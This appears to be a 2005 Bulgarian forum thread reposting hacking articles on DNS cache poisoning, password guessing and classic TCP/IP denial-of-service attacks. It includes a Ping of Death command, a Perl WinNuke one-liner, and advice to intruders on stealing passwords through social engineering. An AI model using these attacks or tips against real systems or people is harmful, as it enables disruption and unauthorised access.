IP-мрежата службата DNS, в същото време е далеч не толкова идеална от гледна точка на информационната безопасност. Ползването на транспортния протокол без установяването на виртуалният канал (UDP), отсъствието на средства за идентификация, оторизация и разграничения на достъпа, я правят уязвима за различни типове отдалечени атаки. В статията ще разгледаме междусегментната отдалечена атака на DNS-сървър, която не изисква твърде сериозни условия за провеждането и, а същевременно е ефективна и с практическа реализация.&lt;br /&gt;  • DNS с думи прости е разпределена база данни, основното съдържание на която се явява информацията за съответните символни имена на мрежовите обекти, техните IP-адреси. DNS е опганизирана по йерархически принцип. Структурната единица на тази база е домейна (domain), който на свои ред може да съдъпжа други домейни (поддомейни). Първичният источник на информация за всеки домейн е отговарящият за даденият домейн DNS-сървър (могат да бъдат няколко). Отговорността за част от информацията на домейна (поддомейна) може да бъде делегирана на други сървъри. Клиентската част DNS се нарича resolver, достъпът до който приложните програми получаст чрез API. При взаичодействие на resolver&#39;a със сървъра в качество на транспортен протокол се използва UDP. Запитванията генерирани от resolver&#39;а се явяват рекурсивни, т.е. в качеството на отговор на такова запитване се връща или исканата информация или съобщение за нейното отсъствие. Получавайки запитване от resolver&#39;а, съвръра или веднега връща отговора (при условие, че исканата информация е в базата), или формира запитване към друг сървър. Това запитване обикновено се явява интерактивно и за разлика от рекурсивното допуска отговор във вид на препратка към друг сървър, който е по-добре осведомен за мястото на разположение на исканата информация. Като общо търксенето започва от кореновия сървър, който възвръща информацията за сървърите отговарящи за домейна на най-горно ниво, след което се формира ново интерактивно запитване към един от тези сървъри и т.н. Резултата от тази верига въпрос/отговор се явява или получаването на исканата информация или информация за нейното отсъствие, след което отговорът се връща на resolver&#39;а. всички запитвания към сървъра в процеса на работа се кешират с цел ускорение обслужването на последните запитвания и минимизация на мрежовия трафик.&lt;br /&gt;  • Междусегментна отдалечена атака на DNS-сървър&lt;br /&gt;  Възможността за атака на DNS по пъта на фалшификация на отговора на DNS-сървъра е известна доста отдавна. Обектът на атака може да е както resolver&#39;а, така и DNS-сървъра. Причината за успеха на подобни атаки се крият в лекотата на фалшификация на отговорите на сървъра. Протоколите DNS, използвани в днешно време не включват кой знае какви средства за проверки на оторизацията на получаваните данни и техния източник, напълно осланяйки се в това на по-ниско лежащите протоколи на транспортно ниво. Използваният транспортен протокол (UDP), с цел повишаване ефективността не предполага установяване на виртуален канал и използва в качества на идентификатор източника на съобщения IP-адреса, който може да бъде елементарно подправен. При възможност атакващия да прехване съобщения, които лъжат клиента и сървъра (вътрешно сегментна атака) реализацията на такава атака не представлява почти никаква трудност. Въпреки всичко такъв вариант на атака не представлява значителен практически интерес, до колкото възможността за вътрешно сегментна атака предполага наличието на определен взаимно свързан клиент със сървъра и хоста (например, атакуващият и целеви DNS-сървър ги разделя физическата среда на предаване), което на практика се реализира доста рядко. По-чести са случаите на междусегментни атаки, които не изискват такива усливия. По тази причина ние ще се спрем именно на такъв клас отдалечени атаки представляващи както академичен, така и практически интерес.&lt;br /&gt;  Междусегментната атака на DNS-сървъра изглежда по следния начин. Да предположим, че цел на атаката ни се явява поддомейн с IP-адрес на web-сървъра www.coolsite.com с IP-адрес на сървъра www.badsite.com за user&#39;ите на някаква мрежа, която обслужва DNS-сървъра ns.victim.com. Във фазата на атака ns.victim.com се провокира за търсенето на информация за IP-адрес www.coolsite.com по пътя на рекурсимно запитване. Във втората фаза атакуващия изпраща на сървъра ns.victim.com лъжлив отговор от името на ns.coolsite.com, който се явява отговорен за домейн coolsite.com. в лъжливия отговор вместо реалния IP-адрес на www.coolsite.com се указва IP-адреса на www.badsite.com. Сървърът ns.victim.com кешира получената информация в резултат на което в течение на определен промеждутък от време (големината на промеждутъка се указва в полето TTL на лъжливия отговор и може да се избира произволно от атакуващия) нищо неподозиращите user&#39;и вместо на сървъра www.coolsite.com попадат на www.badsite.com. за да може лъжливият отговор да бъде възприет от сървъра ns.victim.com като истински е достатъчно да бъдат изпълнени четири условия: IP-адреса на отправителя на отговора е длъжен да съответства на IP-адреса на запитващия сървър (в нашия случай ns.coolsite.com); UDP-портът към който се отправя оговора трябва да съвпада с порта, от който е било изпратено запитването; идентификаторът трябва да съвпада с идентификаторът на запитването; отговорът трябва да съдържа запитваната информация (в нашия случай IP-адреса на web-сървъра www.coolsite.com). Очевидно е, че изпълнението на първото и четвъртото условие за атакуващия няма да е трудно. Второто и третото условие на ситуацията са малко по-сложни, до колкото в случая на междусегментна атака, атакуващия няма възможност да прехване изходното запитване и да &quot;прегледа&quot; необходимите параметри. Болшинството използвани в двешно врими за реализация DNS-сървъри (BIND4, MS DNS) използват за изходни запитвания порт 53, така че може успешно да се изпрати лъжлив отговор към този порт. Дадения метод обаче не винаги сработва, например BIND8 може да използва за изходни запитвания случайно избран непривилигирован порт. Идентификаторът (id) на запитването представлява двубайтово число, указващо сървъра в запитването с цел еднозначна идентификация на отговора на даденото запитване. Това число се инкрементира с всяко ново запитване. Незнанието на некущото значение на идентификаторът довежда до необходимост от изпращане на множество лъжливи отговори с различни значения id. Именно това обстоятелство прави практическата реализация на дадената атака трудно осъществима. Действително лъжливия отговор трябва да бъде получен от целевия сървър в промеждутък от време от момента на изпращането на запитването до момента на пристигането на отговора от истинския сървър, което на практика представлява не повече от няколко секунди. За този интервал от време атакуващия трябва да изпрати 216 лъжливи отговора с всички възможни значения id, а в случаите на незнание на портовете тази цифра се увеличава с още няколко десетки пъти. До колкото размера на IP-пакета, съдържащ лъжливия отговор е около 100 байта, то пред атакуващия стои задачата за изпращането на няколко мегабайта информация за няколко секунди, което в болшинството случаи е неосъществимо  &lt;br /&gt;  • Метод за определяне номера на порта и текуция идентификатор на запитването&lt;br /&gt;  При изпълнение на допълнителните условия даже в случаите на междусегментна атака атакуващия има възможност да определи текущия id на запитването и номера на порта. Контролът над сървъра в дадения контекс означава възмогността да се прехванат всички запитвания адресирани до и от него. Това е възможно ако атакуващият непосредствено овладее сървъра (явява се негов администратор) или разделя с него общата физическа среда на предаване (в случай на ethernet). Очевидно, че даденото условие не е трудно изпълнимо до колкото намиращите се в един колизионен домейн с DNS-сървъра е типично за корпоративните мрежи. При наличие на контролирания сървър описаната ак.така може да бъде модифицирана по следния начин. Да предположим, че атакуващия контролира сървъра ns.hacker.com, отговарящ за домейна hacker.com. в първата фаза на атаката ние провокираме сървъра ns.victim.com за обръщение към ns.hacker.com по пъта на изпращането на рекурсивно запитване за търсене на каквото и да е име (не е задължително да е съществуващо) в домейна hacker.com. До колкото ns.hacker.com се намира под контрола на атакуващия той може да прехване това запитване и да извлече от него информация за номера на порта и текущия id. Следващите две фази на атаката не се различават от описаните с тази разлика, че атакуващия е достатъчно да изпрати само няколко ръжливи отговора тъй като той точно знае номера на порта и може с висока степен на точност да предскаже значението на идентификатора на запитването към ns.coolsite.com.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  • Метод на косвена провокация&lt;br /&gt;  Очевидно е, че необходими условия за успешното провеждане на атаки се явява възможността за изпращане на рекурсивни запитвания към целевия сървър, провокиращи го към обръщение към други сървъри с цел търсене на исканата информация. По принцип съществува възможност DNS-сървърът да се настрои по такъв начин, че да приема рекурсивни само от &quot;свои&quot; клиенти (хостове, ресолвери). В този случай осъществяването на атаката е невъзможно. С цел да се заобиколи това ограничение може да се предложи прост метод, който условно ще наречем &quot;косвена провокация&quot;. Основната идея на този метод се заключава в използването на която и да е общодостъпна услуга, явяваща се клиент на целевия DNS-сървър, за формиране на необходимото провокиращо запитване. Най-подходящ кандидат представлява общодостъптия сървър за електронна поща, който по определение е длъжен да приема връзки с всички компютри от Интернет. Да предположим, че ресолвера на компютъра mail.victim.com е настроен за използване на сървъра ns.victim.com, като последния приема рекурсивните запитвания само от домейна ns.victim.com. примерът по-долу за SMTP-диалог провокира ns.victim.com за търсене на информация за име any-name.any-domain.com: $ telnet mail.victim.com 25 Trying... Connected to mail.victim.com. Escape character is &#39;^]&#39;. 220 mail.victim.com ESMTP Sendmail 8.8.0/8.8.0; Wed, 5 May 2001 21:30:42 helo I.am.cracker 250 mail.victim.com Hello crack.hacker.com [1.1.1.1], pleased to meet you mail from: user@any-name.any-domain.com 250 user@any-name.any-domain.com... Sender ok quit 221 mail.victim.com closing connection Connection closed. По такъв начин използвания метод на &quot;косвена провокация&quot;, позволява осъществяването на атака без пряко изпращане на запитване към целевия DNS-сървър.&lt;br /&gt;  • Как възниква епидемия&lt;br /&gt;  При нормални условия успешната атака довежда до &quot;заразяването&quot; на кеша на конкретния сървър и областта на разпространение на лъжливата информация се ограничава само до неговите клиенти. При наличие на ситуация на &quot;неконкретно делигиране&quot; (lame delegation), възникваща заради грешки при администрирането е възможно разпространение на лъжлива информация на други сървъри, което може да доведе до глобално заразяване. Под некоректно делигиране се резбира ситуация при която ответствеността за домейна се делегира на сървър, който не притежава локално копие с информацията за домейна. Това довежда до това, че в отговор на интерактивните запитвания на другите сървъри вместо исканата от тях информация, той им връща техните запитвания. Да разгледаме ситуация при която за домейна victim.com съществува два отговарящи сървъра - ns.victim.com и ns2.victim.com, но за ns2.victim.com делегирането не е извършено коректно. Използвайки описания метод отокуващия може да &quot;зарази&quot; кеша на сървъра ns2.victim.com с лъжлива информация за имената в домейна victim.com, например, да подмени IP-адреса на web-сървъра www.victim.com с IP-адреса www.very-bad-site.com. До колкото ns2.victim.com се счита за отговорен за домейн на victim.com другите сървъри в Интернет ще се обръщат към него за информация и имена в този домейн. Не разполагайки с локални копия на информацията за домейна за victim.com, даденият сървър ще връща в отговор по-рано кешираната лъжлива информация, довеждайки до &quot;заразяване&quot; на всички обръщащи се към него сървъри. Неприятна особеност на дадения сценарий е невъзможността за бърза ликвидация на последствията от атаката, до колкото лъжливата информация се намира в кеша на хиледи сървъри до изтичане на определеното време, което атакауващия може да избере да е доста голямо  &lt;br /&gt;  • Реализация и полеви изпитания&lt;br /&gt;  Програмата за реализация на атака на DNS-сървър с използване на контролирания сървър, стана достъпна в Интернет вероятно от февруари 1999г. За щастие използването на такива програми не ви извеждат директно IP-адреса на целевия сървър и няма директен клавиш &quot;Infect It!&quot;, а изисква достатъчно задълбочени познаня за принципите на работа на DNS. С цел да се обезпечи чистотата на експеримента (полевите изпитания) са били взети три неконтролирани от атакуващия корпоративни мрежи. Естествено администраторите им са били наясно и не са се възпрогивили против експеримента. За съжаление нито една от тях не е устояла на атаката. Диапазона на целите, които могат да бъдат достигнати с помощта на DNS-атака се простират от &quot;отказ за обслужване&quot; и подмяна на web-сайтове до прехващане на съобщенията на илектронната поща и пълен контрол над информацията предавана между произволно избрани хостове в net&#39;а. При всичко това атакуващия практически не оставал следи, до колкото на него не му било необходима да изпраща провокиращи запитвания и лъжливи отговори от собствения си IP-адрес.&lt;br /&gt;  • Поглед от другата страна на барикадата&lt;br /&gt;  По мнението на автора в днешно време единствените надеждни средства за противодействие срещу описаната атака се явяват използваните стандартизирани в RFC2065 разширения на протокола DNS, разгреждащи използването на криптографски метод за идентификация на информацията за домейна и с обектите за мрежови взаимодействия. Базовата подддръжка на този стандарт е включена във версията BIND8. За съжаление желан резуртат може да се постигне само при широкомащабното внедряване на новите протоколи, което е съпроводено със зночителни организационни трудности и не би могло да стане в близко време. За да затрудните все пак осъществяването на атака може да забраните обслужването на DNS-сървъра към рекурсивни запитвания, постъпващи от &quot;чужди&quot; клиенти. Това може да бъде направено както чрез средствата на собствения сървър (например, BIND8 има такива възможности), така и със средства за междумрежово екраниране. Трябва да обърнете внимание на настройката за &quot;антиспуфинг&quot; на firewall&#39;а си. При използване на дадения метод не трябва да се забравя, че подобна защита може да бъде достатъчно лесно преодоляна чрез използването на описания метод за косвена провокация.&lt;br /&gt;  Заключение&lt;br /&gt;  Тази атака се различава от останалите, които търсят &quot;следи&quot;, backdoors и различни грешки на администраторите, и използването на &quot;социалната инженерия&quot; по своята изящност. В същото време по своя характер и мащабност на резултатите дадената атака напълно може да бъде наречена информационно оръжие за масово поръжение!!!  )) Липсата на адекватни средства на защита много слабо изразените &quot;дири&quot; и трудностите при отстраняване на последствията от атаката още повече влошават ситуацията. Удивителен е фактът, че не се използва широко от взломаджии. Може би това се обяснява с недостатъчната им квалификация  &lt;br /&gt;На мрежоните администратори им остава само да се надяват, че уязвимостите на DNS-протокола ще бъдат отстранени преди те самите да я почуства върху гърба си&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;freaker&lt;br /&gt;Oct 4 2005, 04:32 PM&lt;br /&gt;Ето още малко&quot;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;QUOTE&lt;br /&gt;Пароли и Контрол на Достъп&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  За защита на компютрите в днешно време се вземат пред вид три основни класа за контрол на достъпа:&lt;br /&gt;• контрол, основан на знанието на парола;&lt;br /&gt;• контрол, основан на притежанието на ключ;&lt;br /&gt;• контрол, основан на лични характеристики (т.нар. биометрика - пръстови отпечатъци, ретина и др.)&lt;br /&gt;  В случаите на контрол, основан на говор спада към предметите, принадлежащи на ползвателя - физически ключ, магнитна карта и др. Понякога се ползва метална пластинка с причудлива форма, която се поставя преди началото на работа в шел разпознавател. За &quot;ключ&quot; може да послужи идентификационен знак или специално писмо с подписа на някои високопоставено лице от компанията.&lt;br /&gt;  Биометричните прибори анализират специфични физически особености на ползвателя (подпис, пръстови отпечатъци или линиите на дланите) и ги анализират с тези, които се намират в паметта. Тези видове компютърна защита могат да се използват и за дистанционно управление на достъпа, макар че обикновено към тях се прибягва за ограничаване на достъпа към местата където се намират компютрите - компютърна зала или отделен кабинет.&lt;br /&gt;  Биометрическите и физическите ключове ще разгледаме подробно по-късно.&lt;br /&gt;  Първият вид контрол на достъп - най разпространеният - е основан на притежание на специфична информация. Това означава, че правата на достъп се притежават не от тези лица, които са способни да демонстрират своите знания за определен вид секрет, обикновено парола. Работата на хакера се състои именно в търсенето на тази парола. В статията ще се спра на всичко, което трябва да знаете за паролите: как работят, къде се съхраняват и как може да се &quot;взломят&quot;.&lt;br /&gt;&lt;br /&gt;Пароли&lt;br /&gt;&lt;br /&gt;Най-лесният начин да се защити всеки тип компютърна система се свежда до стария изпитан метод: поставянето на парола. Даже тези компютри, които въобще не се нуждаят в средствата за защита често се снабдяват с пароли, просто защото тя дава чувство за психологически комфорт и използването й не изисква много време и място от паметта. Освен това в системите вече защитени с други средства - магнитни карти или други програмни методи или видове шифроване, често за удвояване или утрояване на защита прибягват до паролите. По такъв начин практически всички компютри включват в себе си пароли от един или друг вид паролите като правило се разглеждат в качеството си на ключове за вход в системата, но те се използват и за други цели: блокиране на записа на дисковото устройство, в команди за шифроване на данни или на разшифроване на файлове - накратко във всичките случаи когато се изисква твърда увереност за това, че съответните действия ще се извършат само от законния собственик или ползвател на програмното обезпечение.&lt;br /&gt;  Паролите се разделят на седем основни групи:&lt;br /&gt;• пароли, създадени от ползвателя;&lt;br /&gt;• пароли, генерирани от системата;&lt;br /&gt;• случайни кодове на достъп, генерирани от системата;&lt;br /&gt;• полудуми;&lt;br /&gt;• ключови фрази;&lt;br /&gt;• интерактивна последователност от типа &quot;въпрос - отговор&quot;;&lt;br /&gt;• строги пароли.&lt;br /&gt;  Ако сте решили да вломявате преди всичко трябва да сте наясно кой от тези седем вида пароли се използва в дадената система.&lt;br /&gt;  Първият вид се явява най-разпространен - обикновено ползвателите за запазване на своята индивидуалност си измислят пароли.&lt;br /&gt;Случайните пароли и кодовете, установени от системата, могат да бъдат няколко разновидности. Програмното обезпечение на системата може да приеме напълно случайна последователност от символи или в генериращата процедура могат да бъдат използвани ограничения. Например всеки код на достъп се съгласува с по-рано подготвен шаблон (от рода на abc-12345-efghn, където буквите и цифрите на зададените позиции се генерират по случаен начин). Създаваните пароли също могат по случаен начин да се извлекат от списък с обичайни или нищо не значещи думи, създадени от автори на програми, които образуват пароли от рода на onah.foopn или ocar-back-treen. Полудумите частично се създават от ползвателя, а частично се подразбира някакъв случаен процес. Това означава, че дори ползвателя да измисли лесна за разпознаване парола, например &quot;тайна&quot;, компютърът ще я допълни с някаква безсмислица, като образува по-сложна парола от типа на &quot;тайна, 5rh11&quot;.&lt;br /&gt;  Ключовите фрази са добри с това, че са дълги и трудно се разгадават, но пък за сметка на това са лесни за запомняне. Фразите могат да бъдат смислени от типа &quot;we were troubled by that&quot; или без смисъл - &quot;fished up our nose&quot;. Ключовите фрази се използват в такива огранизации, където менажерът е пораноик на тема защита. Трябва да се отбележи, че в програмирането постепенно се забелязва тенденция към преход към по-широко приемане на ключовите фрази.&lt;br /&gt;  Към концепцията за ключовите фрази е близка и концепцията за кодовата акронима, която експертите по защитата оценяват като кратка, но идеално безопасна форма на парола. В акронима ползвателят взима лесно запомнящо се предложение, фраза, ред от стихотворение и др. и използва първите думи на всяка дума в качеството на парола. Например акроним на двете приведени по-гора фрази се явява &quot;wwtbt&quot; и &quot;fuon&quot;. Както виждате подобни нововъведения в теорията на паролите значително затруднява електронния шпионаж.&lt;br /&gt;  Шестият тип пароли - интерактивна последователност &quot;въпрос - отговор&quot;, предлага на ползвателя да отговори на няколко въпроса, като правило от личния план: &quot;Бащината фамилия на съпругата ти?&quot;, &quot;Любимият ти цвят?&quot; и др. В компютърът се съхраняват отговорите на много такива въпроси. При вход на ползвателя в системата компютърът сравнява полученият отговор с &quot;правилния&quot; сеансите за въпрос и отговор могат да се окажат примамливи за хакера, който е добре познат с ползвателя, от чието име той се опитва да влезне в системата. Системата с използване на въпрос - отговор може да прекъсне работата на ползвателя на всеки десет минути, предлагайки отговори на въпроси, които потвърждават неговото право да ползва системата. Това е много раздразнително, особено ако ползвателят е въвлечен в интересна игра. В днешно време такива пароли почти не се използват. Когато са ги измислили идеята е била доста добра, но дразнещия фактор на непрекъснатото прекъсване довел до това, че даденият метод почти излезнал от употреба.&lt;br /&gt;  &quot;Строгите &quot; пароли обикновено се използват съвместно с някакви външни електронни или механични устройства. В този случай компютърът с простодушно коварство предлага няколко варианта на покана и ползвателят е длъжен да им даде подходящи отговори. Този вид пароли често се среща в системи с еднократни кодови, а също и в параноидални организации.&lt;br /&gt;  Еднократните кодове са пароли, които сработват само веднъж. Към тях понякога се прибягва, създавайки временно копие за гостите, за да се демонстрират възможностите на системата на потенциалните клиенти. Те също понякога се прилагат при първото влизане на ползвателя в системата. По време на първия сеанс ползвателят въвежда своя собствена парола и при по-нататъшен вход в системата влиза с нея. Еднократните кодове могат също да се прилагат в дадена система, когато действителният ползвател влиза в нея за първи път, след което той сменя паролата си с по-секретен персонален код. В случаите когато системата се използва от група хора, но въпреки това не трябва да се нарушава секретността, се прибягва до списък с еднократни кодове. Който и да е ползвател въвежда код, съответното време, дата или ден от седмицата. Може да ви провърви и да намерите такъв списък в един от походите си, ровейки в боклука. Кодовете разбира се няма да ви потрябват, но пък ще разберете принципа на защита на дадената система.&lt;br /&gt;&lt;br /&gt;Пароли, създавани от ползвателите&lt;br /&gt;&lt;br /&gt;Болшинството пароли са от типа &quot;направи си сам&quot;. Съвременните програма забраняват твърде кратките пароли, за да може проникването в системата да става по-трудно. Обикновено паролите съдържат не по-малко от 4-5 символа. Съществуват и други мерки, които не позволяват създаването на неудачни пароли. Например, системата може да настоява за това паролата включва в себе си малки и главни букви, съвместно с цифри. В различните ОС съществуват не малки програми, които преглеждат файловете, съдържащи пароли, анализират ги и определят тяхното ниво на секретност. Неподходящите пароли се заменят. Необходимо е поне бегло да се запознаете с тези програми, за да добиете представа какви да използвате на вашата система и какви пароли дадената програма не допуска. Като изключим гениите и безнадеждните идиоти, общо взето, всички хора взимат решение, мислят и действат горе-долу еднакво. Нужно е време, за да се научим да мислим творчески. Началните предположения и първите умозаключения при определени групи хора се оказват еднакви. Когато човек за пръв път пуска компютър и той му забранява паролата, тази парола се оказва вариант на една от общите и актуални за всички - особено ако на ползвателя не му стига времето или той се намира на непознато място. Представете си състоянието на човек, когато той се опитва да измисли собствената си секретна парола. Възможно е всяка минута от неговото забавяне да му струва някакви средства, или да го окуражава група от технически експерти, които обучават този човек на работа със системата. Както и да е, достатъчно е да се появи въпроса на екрана и човекът посвещава мислите си на това, че трябва незабавно нещо да измисли. Хората обикновено правят първото нещо, което им идва наум. А на ум им идва това, което те са виждали или слушали в дадения момент, или това, което са се канили да направят веднага след пускането на компютъра. Паролите обикновено се създават набързо, а замяната им с по-надеждни обикновено правим доста рядки. По такъв начин много пароли са извлечени направо от мислите ни, увлеченията ни, интересите ни. Ако ви се отдаде да отгатнете или узнаете една от подобните характеристики на пълноправен системен ползвател, вероятността да отгатнете вярната парола значително се покачва.&lt;br /&gt;  Вземете например каталозите на компаниите, хумористичните фотографии и всякаквите родове постери, красящи стените на офисите. Колко пъти ви се е налагало да виждате тиражирани фрази, като например: &quot;не е наложително да сте кретен, за да работите тук… но да станете такъв няма да ви попречи!&quot;. Мога да ви уверя, че думата &quot;кретен&quot; се използва в качеството си на парола ежедневно. Не забравяйте също така и за врастта и начина на живот на средностатистически ползвател, под който вие се опитвате да се маскирате, за да проникнете и осъществите взлома. В офиса на която и да солидна фирма преди всичко няма да откриете плакат с някое голо маце, но в студенския град е напълно възможно да се използват пароли от типа на &quot;playmate&quot;, &quot;body&quot; и др.&lt;br /&gt;  Най-простият начин да разбиеш парола е ти самия да влезнеш в системата в качеството на ползвател или да подскажеш паролата на ползвателя. Можеш да разиграеш пред някой новак ролята на компютърен гуру - да му разкажеш как стоят нещата като премълчиш аспекта на секретност и да се постараеш да узнаеш паролата му при въвеждането й. Новаците или на висок глас казват паролата или ще видите как очите им бляскат по календара на стената (редовно може да чуете нещо от рода на: &quot;Господи, каква по-секретна парола да измисля? О, знам…&quot; и със задоволство я изричат пишейки я по кравиатурата).&lt;br /&gt;  По-горе казаното е приятна случайност  Обикновено, особено ако паролата е въведена до вашето идване, ви се налага доста да поработите, прибягвайки до методите на речников подбор, наблюдение на социален или технически методи за узнаване на паролата.&lt;br /&gt;  Болшинството от паролите са думи от литературата. Можете ли да си представите новак, седящ зад компютъра и старателно да въвежда в качеството на парола нещо от рода на: &quot;fMp19Le&quot;? естествено, че не!&lt;br /&gt;  Правилата за правописа на пароли няма: при създаването на пароли може да използвате собствени имена, думи с ортографически грешки, абревиатури, безсмислици и чужди термини. Тъй че, любителя на телевизионния сериал &quot;Star Trek&quot; може да създаде парола &quot;enterprize&quot; вместо коректния &quot;Enterprise&quot;. Възможно е той (или тя) да не е много добър в граматиката, а и може така да му харесва повече. Важното е да знаете, че думи с грешки могат да бъдат пълноправни пароли. Може да намерите буква &quot;к&quot; вместо &quot;с&quot; - &quot;kokakola&quot;, &quot;x&quot; вместо &quot;ks&quot; - &quot;thanx&quot; и други фонетични заместители.&lt;br /&gt;  Някои хакери преглеждат всяка дума в английския език докато не намерят някоя, която може да се ползва в качеството на парола. Ако паролата, която те търсят е често срещана дума, но неправилно написана, това може да ви коства доста време. Търсенето на пароли с помощта само на едно тъпо изброяване на думи от речника, не рядко се превръща в безполезно занимание. Много думи често срещат сред паролите. В това време други думи почти никога не се използват в качеството на такива. Мислите ли че някой е способен да въведе в качеството на парола наречие? Такива думи трябва да се обработват специално. Паролите по правило се отнасят към съществителните или към глаголите, е, понякога може да са и прилагателни. Сред паролите са популярни имена и прозвища на приятели и приятелки, тях лесно може да ги узнаете, нали?&lt;br /&gt;  Освен литературни думи се използват и имена на роднини, домашни животни, имена на улици, спортни отбори, продукти за хранене, важни дати и номера, номера на застраховки, рожденни дни и други паметни дати.&lt;br /&gt;  Срещат се също така и безсмислени символи и знаци от клавиатурата (kjkjkjkjkjkj, 7u7u7u7u, QWER, CCCC, 0987654321, asdfgh или azsxdc). Такива пароли обикновено представляват прост набор от повтарящи се или разположени един до друг символи на клавиатурата.&lt;br /&gt;&lt;br /&gt;Типични грешки в TCP/IP стека&lt;br /&gt;Nuke и SYN flood атаки&lt;br /&gt;&lt;br /&gt;  С думата Nuke се нарича всяка атака на портовете на отдалечен компютър, която довежда до крах на ОС и срив на интернет връзките. Nuke не нарушава състоянието на файловата система и не руши &quot;желязото&quot; на компютъра - презареждайки ОС user&#39;ът може за продължи да работи в Мрежата.&lt;br /&gt;&lt;br /&gt;nuke.c&lt;br /&gt;&lt;br /&gt;  Атаката не е получила широко разпространение, тъй като е могла да работи само на UNIX системи с права root, използвайки RAW_SOCKET. Идеята за тази атака се е състояла в това, че тя е изпращала неправилни ICMP пакети за недостижимост на отдалечения сървър и машината-хост и губила връзката.&lt;br /&gt;&lt;br /&gt;Octopus&lt;br /&gt;&lt;br /&gt;Унищожава всеки сървър, като го наводнява с TCP запитвания за връзка.&lt;br /&gt;&lt;br /&gt;PingOfDeath&lt;br /&gt;&lt;br /&gt;  AIX, Digital Unix, Linux, BSDi, OSF, SCO&lt;br /&gt;  В ръководството на CERT се говори, че този бъг с превишаване размерите на IP-пакетите води до зависване и презареждане на системите. В действителност, ако се вярва на описаните резултати, тази dos атака действа само на Windows с WinQVT.&lt;br /&gt;  За да се осъществи тази атака, трябва да се пусне програма ping с параметри:&lt;br /&gt;ping -l 65510 host.running.linux&lt;br /&gt;или на машина win:&lt;br /&gt;ping -l 65527 victim.dest.ip&lt;br /&gt;  Ping of Death основана на изпращането на повече от 65 527 байта данни + 20 байта IP-заглавки +8 байта ICMP-заглавки в един IP-пакет. С хитрост може да се постигне ефектен резултат - получените данни просто няма да се поместят в 16-битния вътрешен обмен, възниква непоправима грешка, която пречупва ОС.&lt;br /&gt;&lt;br /&gt;WinNuke&lt;br /&gt;&lt;br /&gt;  blue screen or reboot on Winхх/NT&lt;br /&gt;  В средата на май 1997г. чрез тази атака за няколко дни бил изведен от строя www.microsoft.com. наред с обичайните данни, изпращани по TCP връзките, стандартът предвижда също предаване на извънредни (Out Of Band) данни. На ниво формат на пакетите TCP това се изразява в нулев urgent pointer. При повечето РС&#39;та с установени Windows присъства мрежов протокол NetBIOS, услугите на който се осъществяват на 139 порт. Също често се среща MS DNS (53 поpт).&lt;br /&gt;  Както се изясни чрез експеримента, ако се включиш към Windows и по който и да е от подслушваните портове се изпратят няколко байта OutOfBand данни, реализацията на стека TCP/IP не знае какво да прави с тези данни и простичко машината увисва. Win попада в синия текстови екран, който съобщава за грешка в драйверите на TCP/IP и невъзможност за работа с мрежата до преинсталиране на ОС. NT без служба пакети се презарежда, а NT с SP2 попада също в синия екран.&lt;br /&gt;  Код за perl5.004&lt;br /&gt;perl -MIO::Socket -e \&lt;br /&gt;&#39;IO::Socket::INET-&gt;new(PeerAddr=&gt;&quot;some.windoze.box:139&quot;)-&gt;send(&quot;bye&quot;,MSG_OOB)&#39;&lt;br /&gt;С SP3 за WinNT и WinNuke се свързва доста весела история. Както се изяснило след пускането на SP3, стартирано от компютър Apple, WinNuke спокойно пробивал защитата на сървис пака. Съществуването на два различни стандарта на IP пакети, съдържащи OutOfBand, била причината. Има стандарт на Berkley и стандарт, описан в RFC 1122. Различията се състоят в това, че UrgentPointer се изчислява по различен начин. В действителност UrgentPointer в двете реализации се различава с единица. Третият сървис пак защитен от &quot;свои&quot; ООВ пакети, се оказва беззащитен срещу пакети от друг стандарт. Затова почти веднага след SP3 излязъл допълнителен ООВ fix.&lt;br /&gt;&lt;br /&gt;Jolt / Sping&lt;br /&gt;&lt;br /&gt;Зависват машини с Windows(OSR2), Memphis и Windows NT 4.0, които нямат firewall, блокиращи ICMP-пакетите. Също така това сработва и при машини със стара MacOS и стари реализации на System V.&lt;br /&gt;  Програмата се базира на стар код, който се използвал за &quot;замразяване&quot; работата на Unix System V. Тя изпраща серия от големи фрагментирани ICMP пакети, при приема на които машината безрезултатно се опитва да ги събере.&lt;br /&gt;&lt;br /&gt;smurf / smurf for bsd&lt;br /&gt;&lt;br /&gt;heavy flood of victims&lt;br /&gt;&lt;br /&gt;  Програмата е достатъчно примитивна. В нея в масив се указва списък с адреси, към които нееднократно се изпращат служебни съобщения за запитвания icmp_echo_request, изискващи отговор насочен към адреса на жертвата. В резултат на атаката, в зависимост от количеството на указаните адреси, жертвата получава мощен поток от съобщения, което за dual up ползвателите е равносилно на &quot;моментална смърт&quot;.&lt;br /&gt;&lt;br /&gt;Land&lt;br /&gt;&lt;br /&gt;Affecting Windows (OSR2)/Windows NT 4.0/FreeBSD/HP-UX/OpenBSD/SunOS/ IOS (на нея работи с мрежовото оборудване на Cisco Systems).&lt;br /&gt;  Към жертвата се изпращат SYN пакети, в които IP адресът на източника и пункта на предназначение се указват равни с адреса на самата атакувана система (включително и еднаквите портове). Произтича зацикляне когато жертвата се опита да установи връзка сама със себе си, което в крайна сметка извежда машината извън строя. Портът естествено трябва да бъде открит.&lt;br /&gt;  Често атаките се комбинират. Например, Land &amp; IP Spoofing: нападащата страна мигновенно провокира сървърът към обмен на съобщенията, но в качеството на обратен адрес се указва измислен. По такъв начин възниква полуоткрита връзка (half-open connections), при определени количества на които сървърът се указва просто не способен да открива нови. В болшинството случаи сървъри-жертви осезаемо забавят своята работа. Въпреки, че може да възникне аварийно презареждане на паметта. (Spoofing - подмяна на реалния адрес на отправителя с измислен. Като правило се използва в съчетание с различни видове атаки, за да не може жертвата да определи адреса на атакуващия.)&lt;br /&gt;&lt;br /&gt;Latierra&lt;br /&gt;&lt;br /&gt;Crashes Windows 95, and will cause Windows NT 4.0, SP3 to utilize a high percentage of CPU. In some instances, CPU usage reaches %100&lt;br /&gt;Е модифицирана версия на land.c. изпраща практически същите пакети както и land, но едновременно на няколко порта. WinNT изобщо не го бърка дали е открит порта или не. NT с SP3 не позволява връзки към тези портове, но ако се манипулират различни портове, то реално може да се достигне нужния ефект.&lt;br /&gt;&lt;br /&gt;teardrop / overdrop&lt;br /&gt;&lt;br /&gt;Linux(kernel up to 2.0.31)/NT/95(OSR)&lt;br /&gt;  Оказва се, че Linux има сериозен bug във функцията за сбор на фрагменти ip_glue(). Когато системата събира IP фрагментите с построяване на оригиналната 